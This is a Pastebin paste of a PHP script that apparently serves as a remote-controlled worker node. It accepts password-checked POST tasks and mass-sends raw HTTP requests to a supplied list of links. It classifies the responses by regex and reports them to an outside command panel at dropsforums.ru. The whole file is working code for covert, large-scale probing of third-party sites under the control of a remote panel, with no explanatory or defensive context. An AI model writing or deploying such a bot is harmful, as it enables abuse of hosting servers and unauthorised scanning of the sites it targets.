Advertisement
Guest User

contoh

a guest
Jul 18th, 2016
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.42 KB | None | 0 0
  1. <?php
  2. header('Access-Control-Allow-Origin: *');
  3. header('Content-Type: text/html; charset=utf-8');
  4. set_time_limit(900);
  5. $hashcode = '7a3cb9bdfa';
  6. if(isset($_POST['hc']) && $_POST['hc'] == $hashcode && isset($_POST['taskid']) && is_numeric($_POST['taskid']) && isset($_POST['taskname']) && !empty($_POST['taskname']) && isset($_POST['threads']) && is_numeric($_POST['threads']) && isset($_POST['delay']) && is_numeric($_POST['delay']) && isset($_POST['timeout']) && is_numeric($_POST['timeout']) && isset($_POST['request']) && is_numeric($_POST['request']) && isset($_POST['requestbody']) && isset($_POST['regex']) && isset($_POST['regex_logic']) && is_numeric($_POST['regex_logic']) && isset($_POST['onlybody']) && is_numeric($_POST['onlybody']) && isset($_POST['onlyheaders']) && is_numeric($_POST['onlyheaders']) && isset($_POST['links_ar']) && isset($_POST['client_id']) && is_numeric($_POST['client_id']) && isset($_POST['proc_id']) && is_numeric($_POST['proc_id']))
  7. {
  8. echo '1';
  9. //print_r($_POST);
  10. $all_links = explode('_||_',$_POST['links_ar']);
  11. if(function_exists('fsockopen')) $vffsockopen = '1';
  12. else $vffsockopen = '2';
  13. }
  14. else
  15. {
  16. echo '2';
  17. //print_r($_POST);
  18. exit();
  19. }
  20.  
  21. $curl_result = array();
  22. $p_taskid = $_POST['taskid'];
  23. $p_taskname = $_POST['taskname'];
  24. $p_threads = (int)floor($_POST['threads']);
  25. $p_delay = (int)floor($_POST['delay']);
  26. $link_timeout = (int)floor($_POST['timeout']);
  27. $p_request = $_POST['request'];
  28. if($p_request == '2') $p_request = 'post';
  29. else $p_request = 'get';
  30. $p_requestbody = $_POST['requestbody'];
  31. $p_regex = $_POST['regex'];
  32. $p_regex_logic = $_POST['regex_logic'];
  33. $p_onlybody = $_POST['onlybody'];
  34. $p_onlyheaders = $_POST['onlyheaders'];
  35. $p_client_id = $_POST['client_id'];
  36. $p_proc_id = $_POST['proc_id'];
  37. $all_links_o = $all_links;
  38. $double_links = array();
  39. $onlybh = 0;
  40. if($p_onlybody == '1') $onlybh = 1;
  41. if($p_onlyheaders == '1') $onlybh = 2;
  42.  
  43. $i = 1;
  44. while(count($all_links) > 0)
  45. {
  46. $links_part = array_splice($all_links, 0, $p_threads);
  47. $multithread = new MultiThread($link_timeout);
  48. $multithread->setLinks($links_part);
  49. $multithread->setMethod($p_request,$p_requestbody,$onlybh);
  50. $links_result = $multithread->execute();
  51. foreach($links_result as $res_el)
  52. {
  53. if(!empty($res_el['linkerror']) && $res_el['answer']!='596') $curl_result[$i] = $res_el['link'].'-||-error';
  54. elseif(vf_regex($res_el['answer'],$p_regex,$p_regex_logic) === true)
  55. {
  56. $curl_result[$i] = $res_el['link'].'-||-good';
  57. }
  58. else
  59. {
  60. $curl_result[$i] = $res_el['link'].'-||-bad';
  61. if($res_el['linkerror'] == '2' || $res_el['linkerror'] == '3') $double_links[$i] = $all_links_o[($i-1)];
  62. }
  63. $i++;
  64. }
  65. sleep($p_delay);
  66. }
  67. while(count($double_links) > 0)
  68. {
  69. $links_part = array_slice($double_links, 0, $p_threads, true);
  70. $t_count = count($double_links) - $p_threads;
  71. $double_links = array_slice($double_links, $p_threads, $t_count, true);
  72. $multithread = new MultiThread($link_timeout, 1);
  73. $multithread->setLinks($links_part);
  74. $multithread->setMethod($p_request,$p_requestbody,$onlybh);
  75. $links_result = $multithread->execute();
  76. foreach($links_result as $res_el)
  77. {
  78. if(!empty($res_el['linkerror']) && $res_el['answer']!='596') $curl_result[$res_el['lk']] = $res_el['link'].'-||-error';
  79. elseif(vf_regex($res_el['answer'],$p_regex,$p_regex_logic) === true) $curl_result[$res_el['lk']] = $res_el['link'].'-||-good';
  80. else $curl_result[$res_el['lk']] = $res_el['link'].'-||-bad';
  81. }
  82. sleep($p_delay);
  83. }
  84. //print_r($curl_result);
  85. $curl_result = implode('_||_',$curl_result);
  86. $server_url = 'http://dropsforums.ru/panel/proc/receive_result.php';
  87. $result_init = curl_init($server_url);
  88. curl_setopt($result_init, CURLOPT_POST, true);
  89. curl_setopt($result_init, CURLOPT_TIMEOUT, 15);
  90. curl_setopt($result_init, CURLOPT_CONNECTTIMEOUT, 15);
  91. curl_setopt($result_init, CURLOPT_RETURNTRANSFER, true);
  92. curl_setopt($result_init, CURLOPT_POSTFIELDS, array('hashcode' => $hashcode, 'taskid' => $p_taskid, 'taskname' => $p_taskname, 'client_id' => $p_client_id, 'proc_id' => $p_proc_id, 'vffsockopen' => $vffsockopen, 'result' => $curl_result));
  93. curl_exec($result_init);
  94. curl_close($result_init);
  95.  
  96. class MultiThread
  97. {
  98. private $maxthreads, $links = array(), $linkscount, $threads = array(), $mtype = 'get', $mcontent, $onlyBody = 0, $onlyHeaders = 0, $results = array();
  99. public function __construct($link_timeout = 1, $double_req = 0, $maxthreads = 150)
  100. {
  101. $this->link_timeout = $link_timeout;
  102. $this->double_req = $double_req;
  103. if($this->double_req == 1)
  104. {
  105. $this->sock_timeout = 3;
  106. $this->link_timeout += 2;
  107. }
  108. else $this->sock_timeout = 2;
  109. $this->maxthreads = $maxthreads;
  110. }
  111.  
  112. public function setLinks($links = array())
  113. {
  114. $this->links = $links;
  115. $this->linkscount = count($this->links);
  116. if($this->linkscount > $this->maxthreads) $this->links = array_slice($this->links, 0, $this->maxthreads);
  117. }
  118.  
  119. public function setMethod($type,$mcontent='',$onlyBH=0)
  120. {
  121. $this->mtype = $type;
  122. $this->mcontent = $mcontent;
  123. if($onlyBH == 1) $this->onlyBody = '1';
  124. elseif($onlyBH == 2) $this->onlyHeaders = '1';
  125. }
  126.  
  127. public function execute()
  128. {
  129. $li = 0;
  130. $t_redirects = array();
  131. foreach ($this->links as $lk => $link)
  132. {
  133. $li++;
  134. $this->results[$li] = array('link' => $link, 'lk' => $lk, 'answer' => '', 'linkerror' => '', 'setonlyBody' => 0);
  135. $t_redirects[$li] = 0;
  136. $link_ar = parse_url($link);
  137. if(isset($link_ar['host']))
  138. {
  139. $server = $link_ar['host'];
  140. if(!$fsock = @fsockopen($server, 80, $erno, $erstr, $this->sock_timeout))
  141. {
  142. if(strpos($erstr,'Name or service not known') !== false) $this->results[$li]['answer'] = '596';
  143. $this->results[$li]['linkerror'] = '2';
  144. }
  145. else
  146. {
  147. $out = get_fwrite_data($link_ar,$this->mtype,$this->mcontent);
  148. fwrite($fsock, $out);
  149. stream_set_timeout($fsock, $this->link_timeout);
  150. stream_set_blocking($fsock, 0);
  151. $this->threads[$li] = $fsock;
  152. }
  153. }
  154. else $this->results[$li]['linkerror'] = '1';
  155. }
  156. $threads_start = time() + floatval(microtime());
  157. do
  158. {
  159. foreach ($this->threads as $key=>$value)
  160. {
  161. $threads_time = round((time() + floatval(microtime()) - $threads_start),2);
  162. if(feof($value) || $threads_time > ($this->link_timeout+8))
  163. {
  164. fclose($value); unset($this->threads[$key]);
  165. }
  166. else
  167. {
  168. $vf_timeout = stream_get_meta_data($value);
  169. if($vf_timeout['timed_out'] === true)
  170. {
  171. $this->results[$key]['linkerror'] = '3';
  172. fclose($value); unset($this->threads[$key]);
  173. continue;
  174. }
  175. //$t_answer = fgets($value);
  176. $t_answer = fread($value, 10240);
  177. if(!empty($t_answer))
  178. {
  179. if(stristr($t_answer,"location:")!='' && (stristr($t_answer,"301 Moved")!='' || stristr($t_answer,"301 Found")!='' || stristr($t_answer,"302 Found")!='' || stristr($t_answer,"302 Moved")!='' || stristr($t_answer,"302 Redirect")!='' || stristr($t_answer,"303 See")!='') && $t_redirects[$key]<3)
  180. {
  181. $link_redirect = preg_match('/^Location: (.+?)$/Um', $t_answer, $t_matches);
  182. $t_redirects[$key] += 1;
  183. $t_matches[1] = trim($t_matches[1]);
  184. echo $this->results[$key]['link'].' - '.$t_matches[1]."\n\n";
  185. if(substr($t_matches[1],0,5) == 'https')
  186. {
  187. $link_ar = parse_url($t_matches[1]);
  188. $server = $link_ar['host'];
  189. if(!$fsock = @fsockopen('ssl://'.$server, 443, $erno, $erstr, $this->sock_timeout))
  190. {
  191. $this->results[$key]['linkerror'] = '4';
  192. fclose($value); unset($this->threads[$key]);
  193. }
  194. else
  195. {
  196. $this->results[$key]['link'] = $t_matches[1];
  197. $out = get_fwrite_data($link_ar,$this->mtype,$this->mcontent);
  198. fwrite($fsock, $out);
  199. stream_set_timeout($fsock, $this->link_timeout);
  200. stream_set_blocking($fsock, 0);
  201. $this->threads[$key] = $fsock;
  202. $this->results[$key]['answer'] = '';
  203. continue;
  204. }
  205. }
  206. else
  207. {
  208. if(substr($t_matches[1],0,4) != 'http')
  209. {
  210. $link_ar = parse_url($this->results[$key]['link']);
  211. $server = $link_ar['host'];
  212. $t_matches[1] = 'http://'.$server.(substr($t_matches[1],0,1)=='/'?'':'/').$t_matches[1];
  213. }
  214. $link_ar = parse_url(trim($t_matches[1]));
  215. $server = $link_ar['host'];
  216. fclose($value); unset($this->threads[$key]);
  217. if(!$fsock = @fsockopen($server, 80, $erno, $erstr, $this->sock_timeout))
  218. {
  219. $this->results[$key]['linkerror'] = '5';
  220. }
  221. else
  222. {
  223. $this->results[$key]['link'] = $t_matches[1];
  224. $out = get_fwrite_data($link_ar,$this->mtype,$this->mcontent);
  225. fwrite($fsock, $out);
  226. stream_set_timeout($fsock, $this->link_timeout);
  227. stream_set_blocking($fsock, 0);
  228. $this->threads[$key] = $fsock;
  229. $this->results[$key]['answer'] = '';
  230. continue;
  231. }
  232. }
  233. }
  234. $this->results[$key]['answer'] .= $t_answer;
  235. if($this->onlyBody == 1 && $this->results[$key]['setonlyBody'] == 0)
  236. {
  237. if(strpos($this->results[$key]['answer'],"\r\n\r\n") !== false)
  238. {
  239. $body_ar = explode("\r\n\r\n",$this->results[$key]['answer'],2);
  240. $this->results[$key]['answer'] = $body_ar[1];
  241. $this->results[$key]['setonlyBody'] = 1;
  242. }
  243. }
  244. elseif($this->onlyHeaders == 1)
  245. {
  246. if(strpos($this->results[$key]['answer'],"\r\n\r\n") !== false)
  247. {
  248. $header_ar = explode("\r\n\r\n",$this->results[$key]['answer']);
  249. $this->results[$key]['answer'] = $header_ar[0];
  250. fclose($value); unset($this->threads[$key]);
  251. }
  252. }
  253. }
  254. }
  255. }
  256. usleep(10000);
  257. }
  258. while (count($this->threads) > 0);
  259.  
  260. return $this->results;
  261. }
  262. }
  263.  
  264. function get_fwrite_data($link_ar, $mtype='get', $content)
  265. {
  266. $server = $link_ar['host'];
  267. $query = isset($link_ar['path']) ? $link_ar['path'] : '/';
  268. if(isset($link_ar['query'])) $query .= '?'.$link_ar['query'];
  269. if($mtype=='post')
  270. {
  271. $result = "POST $query HTTP/1.1\r\n";
  272. $result .= "Host: $server\r\n";
  273. $result .= "Cookie: income=1\r\n";
  274. $result .= "Content-Type: application/x-www-form-urlencoded\r\n";
  275. $result .= "Content-Length: ".strlen($content)."\r\n";
  276. $result .= "Connection: Close\r\n\r\n";
  277. $result .= $content;
  278. }
  279. elseif($mtype=='get')
  280. {
  281. $result = "GET $query HTTP/1.1\r\n";
  282. $result .= "Host: $server\r\n";
  283. $result .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";
  284. //$result .= "Accept: text/xml,application/xml,application/xhtml+xml,application/json,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
  285. //$result .= "Referer: http://armsites.info\r\n";
  286. $result .= "User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\r\n";
  287. $result .= "Connection: Close\r\n\r\n";
  288. }
  289. return $result;
  290. }
  291.  
  292. function vf_regex($answer, $regex, $regex_logic = 3)
  293. {
  294. if($regex_logic == '1')
  295. {
  296. if(preg_match($regex,$answer)) return true;
  297. }
  298. elseif($regex_logic == '2')
  299. {
  300. if(!preg_match($regex,$answer)) return true;
  301. }
  302. elseif($regex_logic == '3')
  303. {
  304. $regex = str_replace("\n",'',$regex);
  305. $answer = str_replace("\n",'',$answer);
  306. if(strpos($answer,$regex) !== false) return true;
  307. }
  308. elseif($regex_logic == '4')
  309. {
  310. $regex = str_replace("\n",'',$regex);
  311. $answer = str_replace("\n",'',$answer);
  312. if(strpos($answer,$regex) === false) return true;
  313. }
  314. return false;
  315. }
  316. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement